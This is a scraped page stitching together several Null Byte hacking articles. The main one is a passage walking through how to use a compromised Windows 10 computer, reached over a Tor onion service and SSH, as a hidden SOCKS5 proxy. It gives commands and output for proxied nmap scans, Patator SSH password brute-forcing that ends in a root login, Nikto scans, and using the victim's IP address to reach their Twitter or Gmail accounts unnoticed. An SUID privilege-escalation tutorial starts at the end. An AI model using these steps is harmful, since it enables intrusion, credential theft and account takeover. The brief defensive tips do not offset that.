0.3.5.8 (git-5030edfb534245ed) running on Windows 8 [or later] with Libevent 2.1.8-stable, OpenSSL 1.0.2q, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A. May 08 10:43:43.152 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning May 08 10:43:43.699 [notice] Read configuration file "C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor\torrc". May 08 10:43:43.715 [warn] Path for GeoIPFile (<default>) is relative and will resolve to C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor\<default>. Is this what you wanted? May 08 10:43:43.715 [warn] Path for GeoIPv6File (<default>) is relative and will resolve to C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor\<default>. Is this what you wanted? May 08 10:43:43.762 [notice] Opening Socks listener on 127.0.0.1:9050 May 08 10:43:43.762 [notice] Opened Socks listener on 127.0.0.1:9050 May 08 10:43:43.000 [notice] Bootstrapped 0%: Starting May 08 10:43:43.000 [notice] Starting with guard context "default" May 08 10:43:45.000 [notice] Bootstrapped 5%: Connecting to directory server May 08 10:43:45.000 [notice] Bootstrapped 10%: Finishing handshake with directory server May 08 10:43:48.000 [notice] Bootstrapped 15%: Establishing an encrypted directory connection May 08 10:43:49.000 [notice] Bootstrapped 20%: Asking for networkstatus consensus May 08 10:43:50.000 [notice] Bootstrapped 25%: Loading networkstatus consensus May 08 10:43:56.000 [notice] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. May 08 10:43:57.000 [notice] Bootstrapped 40%: Loading authority key certs May 08 10:44:00.000 [notice] The current consensus has no exit nodes. Tor can only build internal paths, such as paths to onion services. May 08 10:44:00.000 [notice] Bootstrapped 45%: Asking for relay descriptors for internal paths May 08 10:44:00.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6680, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of end bw (no exits in consensus, using mid) = 0% of path bw.) May 08 10:44:04.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6680, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of end bw (no exits in consensus, using mid) = 0% of path bw.) May 08 10:44:05.000 [notice] Bootstrapped 50%: Loading relay descriptors for internal paths May 08 10:44:06.000 [notice] The current consensus contains exit nodes. Tor can build exit and internal paths. May 08 10:44:13.000 [notice] Bootstrapped 56%: Loading relay descriptors May 08 10:44:15.000 [notice] Bootstrapped 64%: Loading relay descriptors May 08 10:44:16.000 [notice] Bootstrapped 70%: Loading relay descriptors May 08 10:44:18.000 [notice] Bootstrapped 76%: Loading relay descriptors May 08 10:44:18.000 [notice] Bootstrapped 80%: Connecting to the Tor network May 08 10:44:19.000 [notice] Bootstrapped 85%: Finishing handshake with first hop May 08 10:44:23.000 [notice] Bootstrapped 90%: Establishing a Tor circuit May 08 10:44:28.000 [notice] Bootstrapped 100%: Done <press Enter here>6. Find the Onion AddressAfter Tor has started, a new directory called "HS" would have been created. In this directory, the hostname file containing the onion address can be found. Usecatto view the file contents.> cat HS\hostname w6ngcsz3qryotaq5imneza5edidxvmr6fbefe4lxl3wabjagxagxdaqd.onionStep 3: Connect to the OpenSSH Server Through TorBack in Kali Linux again, Tor will need to be installed to interact with the new onion service that's running on the Windows 10 computer.1. Install Tor in Kali LinuxTor can be installed in Kali with theapt-getinstall -y torcommand, but it's better to install it from the Tor Project repository. This installation has been covered in a recent Null Byte article onhiding SSH services from Shodan. Be sure to reference that for a detailed installation walkthrough.More Info:How to Hide SSH Services from Shodan & Hackers2. Test the SSH ConnectionBefore we get into using hacking tools while using the Windows 10 computer as a proxy, let's make sure the SSH server can be reached from the Kali system. Thetorsockscommand should've been included in the Tor package installation. If it wasn't, install it with the below command.~$ apt-get install torsocks Reading package lists... Done Building dependency tree Reading state information... Done torsocks is already the newest version (2.3.0-2). 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.Then, usetorsockswithsshto connect to the SSH server running on the target Windows 10 device.~$ torsocks ssh -v -p22 user@w6ngcsz3qryotaq5imneza5edidxvmr6fbefe4lxl3wabjagxagxdaqd.onionIt can take up to 60 seconds to establish a connection the first couple of times. This slowness is common with new onion services and coupling SSH with Tor. If the SSH connection is established, that's great. Everything is working as expected. Typeexitor pressCtrl+dto exit the SSH session.3. Enable the Proxy OptionOpen a new terminal and use the below command to create aSOCKS5 proxyport on 1337. This port number is arbitrary and can be changed to anything below 65535.~$ torsocks ssh -D 1337 -C -p22 tokyoneon@w6ngcsz3qryotaq5imneza5edidxvmr6fbefe4lxl3wabjagxagxdaqd.onion Microsoft Windows [Version 10.0.17134.706] (c) 2018 Microsoft Corporation. All rights reserved. tokyoneon@DESKTOP-U4E0WK3 C:\Users\tokyoneon>A new SSH terminal will appear here. This is not meant to be interacted with. As long as this terminal is open, the proxy will remain available. In Kali, verify the proxy port was opened using thesscommand to view available listening ports. Notice the 1337 port on 127.0.0.1 — this can be configured with hacking tools and web browsers to proxy requeststhroughthe hacked Windows 10 computer.~$ ss -tpl State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 127.0.0.1:1337 0.0.0.0:* users:(("ssh",pid=5798,fd=4))Step 4: Configure Hacking Tools to Use the ProxyNormally,SOCKS5 proxiesare used tobypass content filtersoract as virtual private server alternatives. In this case, it's used to route hacking tools through a Windows 10 computer.Many tools can be configured to work with this proxy.Proxychainsis a good example. With proxychains, it's possible to proxy many command line tools through the SSH connection.1. Install ProxychainsMake sureproxychainsis installed in Kali Linux. This can be accomplished with the below installation command.~$ apt-get install proxychainsBy default, Proxychains will be configured to anonymize proxy requests with Tor on port 9050. We're not using proxychains for this purpose, so the configuration file will need to be modified.Usenanoto open the proxychains.conf file. Change the very last line in the file from "socks4 127.0.0.1 9050" to "socks5 127.0.0.1 1337" and exit nano.~$ nano /etc/proxychains.conf2. Proxy Nmap ScansMany people may attempt to perform Nmap scans through the Windows 10 computer as soon as creating the SOCKS5 proxy. Keep in mind, Nmap haslimited support for proxy functionalitiesbuilt in. Not all of Nmap's scan types will be supported, even while coupled with proxychains.~$ proxychains nmap -p80,22,21,443,8080,8443 -sS -T5 192.168.1.1/24 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-08 19:25 UTC Nmap scan report for 192.168.1.183 Host is up (0.00093s latency). PORT STATE SERVICE 21/tcp filtered ftp 22/tcp filtered ssh 80/tcp filtered http 443/tcp filtered https 8080/tcp filtered http-proxy MAC Address: 16:BE:3F:F6:E1:22 (Hewlett Packard) Nmap scan report for 192.168.1.225 Host is up (0.0023s latency). PORT STATE SERVICE 21/tcp closed ftp 22/tcp open ssh 80/tcp closed http 443/tcp closed https 8080/tcp open http-proxy MAC Address: 74:B3:4C:D2:33:A2 (Sony) Nmap scan report for 192.168.1.1 Host is up (0.000044s latency). PORT STATE SERVICE 21/tcp closed ftp 22/tcp closed ssh 80/tcp open http 443/tcp closed https 8080/tcp closed http-proxy Nmap done: 256 IP addresses (3 hosts up) scanned in 8.39 seconds3. Proxy Curl CommandsCurlis a powerful command line tool used to create different kinds of web requests with support for many different protocols and features. It can be useful for enumerating the kinds of web servers found on devices on the network. Unlike other many other tools, curl has built-in SOCKS5 support that can be invoked with the--proxyoption.~$ curl --proxy socks5://127.0.0.1:1337 -I 'http://192.168.1.225' HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.6.8 Date: Thu, 09 May 2019 21:34:29 GMT Content-type: text/html; charset=utf-8 Content-Length: 1387Curl with Proxychains works as expected as well.~$ proxychains curl http://192.168.1.225:8080 ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Directory listing for /</title> </head> <body> <h1>Directory listing for /</h1> </body> </html>On the server-side, we can see the request was made from the 192.168.1.183 IP address. This is the IP address of the Windows 10 device — not the Kali system on another network somewhere else in the world.Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... 192.168.1.183 - - [09/May/2019 21:51:51] "HEAD / HTTP/1.1" 200 - 192.168.1.183 - - [09/May/2019 21:51:58] "GET / HTTP/1.1" 200 -4. Proxy Patator Brute-Force AttacksPatator is a command line brute-forcing tool. With proxychains, Patator can be used to brute-force services through the Windows 10 computer. While untested, the very same syntax can be used with other brute-forcing tools likeHydraandMedusa.~$ proxychains patator ssh_login host=192.168.1.225 port=22 user=root password=FILE0 0=/tmp/simple_wordlist.txt -t 1 ProxyChains-3.1 (http://proxychains.sf.net) INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2019-05-08 20:51 UTC INFO - INFO - code size time | candidate | num | mesg INFO - ----------------------------------------------------------------------------- INFO - 1 22 5.921 | 123456 | 1 | Authentication failed. INFO - 1 22 5.496 | Abcdef123 | 2 | Authentication failed. INFO - 1 22 5.619 | a123456 | 3 | Authentication failed. INFO - 1 22 5.532 | little123 | 4 | Authentication failed. INFO - 1 22 5.640 | nanda334 | 5 | Authentication failed. INFO - 0 30 2.583 | tokyoneon | 6 | SSH-2.0-OpenSSH_7.9p1 Debian-5 INFO - 1 22 5.723 | abc12345 | 7 | Authentication failed. INFO - 1 22 5.501 | password | 8 | Authentication failed. INFO - 1 22 5.567 | Pawerjon123 | 9 | Authentication failed.On the server-side again, we can see the failed password guesses originating from the Windows 10 IP address (192.168.1.183). This is further verification that attacks coming from the Kali system are being properly routed through the Windows 10 computer.sshd[1353]: Failed password for root from 192.168.1.183 port 50148 ssh2 sshd[1353]: error: maximum authentication attempts exceeded for root from 192.168.1.183 port 50148 ssh2 [preauth] sshd[1353]: Disconnecting authenticating user root 192.168.1.183 port 50148: Too many authentication failures [preauth] sshd[1353]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.183 user=root sshd[1353]: PAM service(sshd) ignoring max retries; 6 > 3 sshd[1358]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.183 user=root sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2 sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2 sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2 sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2 sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2 sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2 sshd[1358]: error: maximum authentication attempts exceeded for root from 192.168.1.183 port 50149 ssh2 [preauth] sshd[1358]: Disconnecting authenticating user root 192.168.1.183 port 50149: Too many authentication failures [preauth] sshd[1358]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.183 user=root sshd[1358]: PAM service(sshd) ignoring max retries; 6 > 3 sshd[1362]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.183 user=root sshd[1362]: Failed password for root from 192.168.1.183 port 50150 ssh2 sshd[1362]: Accepted password for root from 192.168.1.183 port 50150 ssh25. Proxy theHarvester ScansTheHarvester is an information gathering tool intended for penetration testers in the early stages of red team engagements. It features the ability to perform virtual host verification, DNS enumeration, reverse domain searches, and IP lookups, as well as make Shodan queries.Don't Miss:How to Scrape Target Email Addresses with TheHarvester~$ proxychains theharvester -d nmap.org -l 200 -b bing,censys,yahoo ProxyChains-3.1 (http://proxychains.sf.net) ******************************************************************* * * * | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ * * | __| '_ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| * * | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | * * \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| * * * * theHarvester Ver. 3.0.6 * * Coded by Christian Martorella * * Edge-Security Research * * [email protected] * ******************************************************************* found supported engines [-] Starting harvesting process for domain: nmap.org [-] Searching in Censys: [-] Searching in Bing: Searching 50 results... Searching 100 results... Searching 150 results... Searching 200 results... [-] Searching in Yahoo.. Searching 0 results... Searching 10 results... Searching 190 results... Searching 200 results... Harvesting results No IP addresses found [+] Emails found: ------------------ [email protected] [email protected] [email protected] [+] Hosts found in search engines: ------------------------------------ Total hosts: 6 [-] Resolving hostnames IPs... issues.nmap.org:45.33.49.119 research.nmap.org:71.6.152.72 scanme.nmap.org:45.33.32.156 svn.nmap.org:45.33.49.119 www.nmap.org:45.33.49.1196. Proxy Nikto ScansNikto is a simple web server scanner that examines a website and reports discovered vulnerabilities that can later be used to compromise the site.While Nikto has built-in support for HTTP proxies, it can't be used with this SOCKS5 proxy. I didn't test many of Nikto's options and arguments, but simple scans seemed to function properly. Readers are encouraged to experiment with this one before performing in a real scenario.Don't Miss:How to Scan for Vulnerabilities on Any Website Using Nikto~$ proxychains nikto -host 192.168.1.225 -port 8080 -nossl ProxyChains-3.1 (http://proxychains.sf.net) - Nikto v2.1.6 --------------------------------------------------------------------------- |S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK |S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK + Target IP: 192.168.1.225 + Target Hostname: 192.168.1.225 + Target Port: 8080 + Start Time: 2019-05-08 19:33:26 (GMT0) --------------------------------------------------------------------------- + Server: SimpleHTTP/0.6 Python/3.6.8 |S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type |S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK |S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK |S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK |S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK7. Proxy Web Requests with FirefoxWith security-focused web services, it's possible to define blacklist and whitelist rules based on MAC and IP addresses. For example, this particular router will only allow the Windows 10 computer to access the router's gateway. Attempting to access 192.168.1.1 fromanyother devices on the network displays the following message.Now, it would be possible to spoof Kali's MAC and IP address to trick the router into letting us view the gateway. But it's also possible to use the SSH proxy to achieve the same goal.Open Firefox in Kali, and enterabout:preferencesinto the URL bar. In "General," click on the "Settings" button.Configure the proxy settings as shown below, then click "OK."Now, navigating to 192.168.1.1 to access the router is allowed because the router believes the requests are coming from the whitelisted Windows 10 device.This very same concept can be applied to websites like Twitter and Gmail, making it possible to access the target's accounts without raising too many red flags. These websites will see the origin (i.e., the IP address) of the login is identical to the IP address used by the Windows 10 computer.How to Protect Yourself (Conclusion)It's important to note that this demonstrates only one way an attacker can use a compromised computer as a proxy. In earlier conceptions of this article, the target's router and Windows 10 firewall were modified to allow port-forwarding and remote access. This would also allow an attacker to access the SSH server from anywhere in the world.Furthermore, admin privileges may not always be required. Tor, for example, can be downloaded and used without special permissions and can be configured to forward requests to any service or port on the network — without the use of SSH servers or SOCKS5 proxies.These attacks were tested and performed on fully-patched Windows 10 systems usingAvastandAVGantivirus software — so I can't recommend those as a solution. Readers will need to actively inspect running processes, search for shady software, and monitor traffic leaving their systems.1. Inspect Outgoing Traffic with WiresharkWiresharkis a great packet-capturing tool that can be used to observe packets leaving the network. If Tor is being used by an attacker, for example, the Tor server can be found onExoneraTor. Similarly, Netcat traffic will be easily detected in Wireshark captures.Wireshark capture of an IP address (server)used by Tor relay.2. Create Strict Firewall Rules with pfSenseWhilepfSenseinstallations can be a little involved and technical, it's an excellent open-source firewall solution.Image viaLawrence Systems/PC Pickup/YouTube3. Monitor Running Processes with Task ManagerThis solution isn't always entirely effective. Process names can be changed or spoofed, but a lazy hacker may leave these files name as the default (i.e., "tor.exe"), making them easier to detect on a compromised Windows 10 system. Below is an example of both an OpenSSH and Tor process running in the background, easily identified with the Windows 10 Task Manager.Stay vigilant. Never underestimate you're worth to a hacker, and continue to find new ways of protecting yourself. Follow me on Twitter@tokyoneon_if you enjoyed this article.Don't Miss:Use Microsoft.com Domains to Bypass FirewallsFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byTinh Khuong; Screenshots by tokyoneon/Null ByteRelatedHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHow To:Hack Windows 7 (Become Admin)News:If You Can't Open Your iPhone's Photos on a PC, Try This AppHow To:Bring Back Microsoft's Classic, No-Bloat Games to Windows for FreeHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHacking Windows 10:How to Remotely Record & Listen to the Microphone of a Hacked ComputerHow To:Use Your Android Device as a Second Monitor for Your Windows PCHow To:Get Back the Classic Look & Feel of Explorer in Windows 10How To:Mirror & Control Your Android's Screen on Your Windows PCHow To:The Fastest Way to Transfer Photos & Videos from Your iPhone to Your Windows 10 PCNews:Shadow Brokers Leak Reveals NSA Compromised SWIFTHow To:Cast Your Samsung Galaxy's Screen to Your Windows PCHacking Windows 10:How to Capture & Exfiltrate Screenshots RemotelyNews:HoloLens Can Now Wirelessly Tap Rendering Power of Any Desktop PC via UWP Apps Built in UnityHow To:Disable the Lock Screen on Windows 10How To:Set Up OneDrive to Sync Files Across All of Your Devices on Windows 10How To:Get Your Computer Ready for the Windows 10 UpdateHow To:Use Your Android Phone as a Wireless Flash Drive for Windows or MacAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)How To:Get Windows Mixed Reality Before the Creators Update Drops April 11How To:Use & Customize the New Start Menu in Windows 10How To:How Anyone (Even Pirates) Can Get Windows 10 for Free—LegallyHow To:Use Charles Proxy to View the Data Your Mobile Apps Send & ReceiveHow To:Hide Your IP Address with a Proxy ServerHow To:Create a Windows 10 Installation DiskHow To:Sneak Past Web Filters and Proxy Blockers with Google TranslateHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebNews:A WORD TO THE WISE ABOUT REMOVING INTERNET EXPLORERNews:STANDP'S TOP LIST OF GREATEST SOFTWARES HE USES *NOW* & ALWAYS...News:VARIOUS WINDOWS ISSUES RESOLVED BELOW...
How to Hack Your Firefox User Agent to Spoof Your OS and Browser « Null Byte :: WonderHowTo
There are a lot of things on your computer that can reveal information about you when you are surfing the Internet. If you are like me, then you will doanythingto maintain your privacy and prevent those little leaks of information from happening. Here's a list of a few of the "threats" that can reveal information about you:Undeleted cookiesUser AgentOS fingerprintIP addressUsername (if they pertain to your real name)For the next few days atNull Byte, we are going to mitigate as many of the Internet's anonymity issues as we can through some safe practices, browser plugins, hacks and more! Today we are going to hack our Internet browser's user agent to appear on websites as a different operating system and browser.RequirementsFirefoxweb browserAny OSA user agent is something used by JavaScript for a multitude of reasons. Here are just a few of the things that it can be used for:What Is a User Agent Used For?Running different versions of a page, based on browser and compatibility with said browser.Seeing which OS you have to stream media.Web logs. Someone can use a user agent to identify a hacker via matching logs.Browser-specific applications compatibility checking.Marketing sites can use your agent to tailor ads towards you.Hack Your User AgentNow, let's actually hack out our agent. I want to have our agent display us as a microwave oven. This ought to throw off the pesky feds after I "r00ted their b0x3n" (just kidding).Open up Firefox, and in a new tab type:about:configIn that new tab, click "I'll be careful, I promise!" to proceed.Type in the search bar on top:agentThen find the string value that corresponds to your computer's information. If should look something like this:Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0Right-click this value and modify it to display whatever you would like. Here's a silly picture of mine after checking it onWho is Hosting This's User Agent tool.Funny, isn't it?Follow me onTwitterand jump in theIRCfor more of the latest and greatest Null Byte action.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Top 10 Browser Extensions for Hackers & OSINT ResearchersHow To:Trick Websites into Thinking You're on a Different OS or BrowserHow To:Firefox 16 Is Vulnerable to Hackers—Here's How to Downgrade to the Safer Firefox 15 VersionHow To:Install Flash Player on Your Samsung Galaxy Note 3 to Stream Amazon Instant Videos & MoreHow To:3 Reasons Firefox Quantum Is the Best Browser for AndroidHow To:Try Mozilla's Privacy-Friendly Firefox Focus Browser on Android Right NowHow To:Use Firefox Rocket to Browse the Web Faster & Save Data on Any AndroidHow To:Clear Your Flash Cache and Browser CacheHow To:Install Firefox OS on Android Without Any Rooting or ROMsHow To:The 4 Best Firefox Mobile Extensions for Privacy & SecurityNews:Firefox Mobile Just Got Faster — New Browser Engine Brings Quantum's Speed to AndroidHow To:Browse websites without a mouseFirefox Mobile 101:How to Turn Websites into Apps on Your Home Screen with the New Quantum BrowserFirefox Mobile 101:How to Save Links as New Tabs Without Leaving Your Current AppHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 13 (Browser Forensics)How To:Install the Region-Locked Firefox Browser on Your iPhoneHow To:Enable Tab Webpage Previews in Every Web BrowserHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)How To:Hack Your Roommate! How to Find Stored Site Passwords in Chrome and FirefoxHow To:Install Firefox OS (& Other Experimental ROMs) On Your Nexus 5 Without Any RiskHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyFirefox Mobile 101:How to Customize Your Browser with ThemesHow To:Exploit Shellshock-Vulnerable Websites with Just a Web BrowserHow To:Choose which browser is the default on Mac OS XHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyFirefox Mobile 101:Add New Functionality to Your Browser with ExtensionsHow To:Clear Your Cache on Any Web BrowserHow To:Simulate Firefox OS for Smartphones in Your PCHow To:Use BeEF and JavaScript for ReconnaissanceHow To:Become Anonymous on the Internet Using TorHow To:Install "Incompatible" Firefox Add-Ons After Upgrading to the New FirefoxHow To:Defend from Keyloggers in Firefox with Keystroke EncryptionNews:Top 25 Firefox TweaksNews:Get YouTube's New Layout Today with a Simple JavaScript HackHow To:Download and Install FirefoxHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:[HowTo] Downgrade Firefox to older version in Windows,Linux and MacHow To:Prevent Social Networks from Tracking Your Internet ActivitiesLockdown:The InfoSecurity Guide to Securing Your Computer, Part IHow To:Hide the Facebook News Ticker in Firefox and Google Chrome
Protect Your Privacy with This 2-Part Security Bundle « Null Byte :: WonderHowTo
Although it's always been important to safeguard your data and private information in the digital age, privacy has recently taken on an entirely new meaning.With more and more people working from home and using unsecured networks as a result of the coronavirus outbreak, hackers and even government agencies are taking advantage of unencrypted phones and laptops to access everything from your browsing history to your banking information.ThePremium Mobile Privacy Lifetime Subscription Bundlehas everything you need to ensure that your most sensitive information and data is secure at all times regardless of whether you're browsing or using your phone at home or on the go. It's on sale right now for over 90% off at just $49.99.Image viastackassets.comThis two-part security package comes with an award-winning VPN along with a specialized private phone line that will help you keep your personal number away from nefarious hackers and bots.First, this bundle grants you lifetime access to Hola VPN Plus, which makes it easy to hide your IP and browse securely on all of your devices. You'll be able to encrypt all of your traffic using the latest AES256 security protocols, and it's even possible to bypass those obnoxious content filters when you travel overseas.Next, you'll be able to use the best-selling Hushed Private Phone Line service to set up and use a second phone number—meaning you'll be able to keep your real number private and hidden at all times. Hushed even makes it easy to choose from hundreds of area codes in both the US and Canada, and each plan includes a yearly usage allowance of 6,000 SMS messages or 1,000 call minutes that automatically renew each year.Safeguard your data and privacy in an increasingly invasive digital world with the Premium Mobile Privacy Lifetime Subscription Bundle forjust $49.99— over 90% off its usual price today.Prices are subject to change.The Premium Mobile Privacy Lifetime Subscription Bundle for $49.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Get Extra Security with This VPN & Email Encryption BundleHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:The 4 Best Firefox Mobile Extensions for Privacy & SecurityHow To:4 Easy Steps to Keep Malware Off Your Android PhoneNews:8 Reasons the BlackBerry KEY2 Is Already the Best Phone for Privacy & SecurityNews:Samsung Preinstalls McAfee Bloatware on Your S8 & It's Neither Great nor FreeNews:Google Names BlackBerry PRIV as One of the Most Secure Android PhonesHow To:Protect your privacy by choosing secure passwordsHow To:The 4 Best Phones for Privacy & Security in 2020News:The 4 Best Apps for Private, Encrypted Messaging on Android & iPhoneHow To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:5 Reasons You Should Use Be Using Norton Mobile Security on Your Android DeviceHow To:3 Reasons You Still Need a Good Antivirus App on AndroidHow To:Stop Oversharing & Reduce Your Online Footprint with These 9 Instagram Privacy TipsCompared:The Best Antivirus & Security Suite Apps for AndroidHow To:Lock Specific Apps & Hide Secret Photos & Videos on an Android PhoneHow To:Scan Your Samsung Galaxy S3 for Malware, Infected Apps, & Unauthorized SurveillanceHow To:10 Roblox Settings You Need to Double-Check to Safeguard Your Child's PrivacyHow To:Use BlackBerry's DTEK Security Suite to Protect Your DeviceHow To:Protect Your Data on the Go with a Premium Hushed Line & Hola VPN for Only $50How To:Protect your privacy on TwitterHow To:Protect your privacy onlineHow To:Prevent Friends from Sharing Your Instagram Stories as Direct MessagesMeltdown & Spectre:Here's How to Keep Your iPhone or Android Phone SecureTelegram 101:How to Password-Protect Your Chats for Extra SecurityHow To:Completely Prevent Apps from Accessing Your Camera & Microphone on AndroidHow To:How Google's Titan M Chip Makes the Pixel 3 One of Most Secure Android PhonesHow To:The Definitive Guide to Android MalwareNews:Sneaky! WhatsApp Adds Encryption to iCloud Backups on the SlyHow To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block ItNews:Should Kids Be Allowed to Use Facebook and Google+?News:Indie Game Music Bundle (Including Minecraft)How To:amend Adobe Flash SettingsNews:Facebook Privacy SettingsNews:The Humble Bundle Strikes Again with a "Frozen" ThemeSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftNews:Obama and Congress Approve Resolution that Supports UN Internet TakeoverNews:It's Humble Indie Bundle Time! 5 Games for 'Name Your Price'Richard Stallman:CISPA neally abolishes people’s right not to be unreasonablyAnonymous Browsing in a Click:Add a Tor Toggle Button to Chrome
Hack Like a Pro: Finding Potential SUID/SGID Vulnerabilities on Linux & Unix Systems « Null Byte :: WonderHowTo
Welcome back, my nascent hackers!We have spent a lot of time in previous tutorials focused on hacking the ubiquitous Windows systems, but the vast majority of "heavy iron" around the world are Linux or Unix systems. Linux and Unix dominate the world of Internet web servers with over 60% of the market. In addition, Linux and Unix servers are the operating system of choice for major international corporations (including almost all the major banks) throughout the world.A common flaw in Linux and Unix operating systems are the SUID binaries. We learned inthis tutorialhow Linux handles permissions. In addition to the read, write and execute privileges, Linux/Unix has what is often referred to as the set user ID (SUID) and the set group ID (SGID) bit. These bits are set when we need an application/binary to run with the permission of the owner (SUID) or group (SGID), rather than the user.For instance, when a regular user needs to change their password which exists in the/etc/shadowfile, they will need the permissions of "root" to change their password as/etc/shadowis owned by "root" and no one else has permissions to write to it. This is resolved by setting the SUID bit, which gives the user the permissions of root while using/etc/shadow.If we look at the/etc/passwd, we see its permissions as below.-r-s--x--x 1 root root 15104 Mar 13 2012 /usr/bin/passwdNote that where we would expect anxin the first stanza of permissions (the owner's) there is ans. Thissindicates that the sticky, or special, bit is set. This means that when this file is accessed by someone other than root, they have root's permissions while they are running or using it.Exploiting the SUID BitImagine, if you will, a scenario where I run a program that has the SUID bit set and has root privileges momentarily, I can re-engineer it to do something other than what it was designed to do. For instance, accessing the/etc/shadowfile. If I can get it to do my bidding—even for just a moment—while my permissions are root's, I can own the system.Elevating PrivilegesThis SUID bit can, at times, be exploited to elevate privileges once we have hacked a system, have only a terminal, and have only regular user permissions. Also, if we are a local user and want to elevate our privileges, we can look to exploit applications that have the SUID or SGID bit set. If we can find an app that uses root permissions to run, we may be able to manipulate it to give us its elevated status—even if for a moment.A good example of such a hack was the old eFax program that installed by default on nearly every KDE Linux system. The program was set up to to use root privileges in order to send faxes from your computer. It was possible to use these privileges of the eFax program to access the/etc/shadowfile and print out the entire contents. Of course, once it grabbed the/etc/shadowfile, it was just a matter of cracking the hashes (most importantly the root user hash) to take total control of the system.What I want to do here is show you how you can find these binaries, programs, and apps on your Linux, Mac or Unix system that have root privileges, if even for only a moment, and may be able to be manipulated to elevate your privileges when you only have limited user 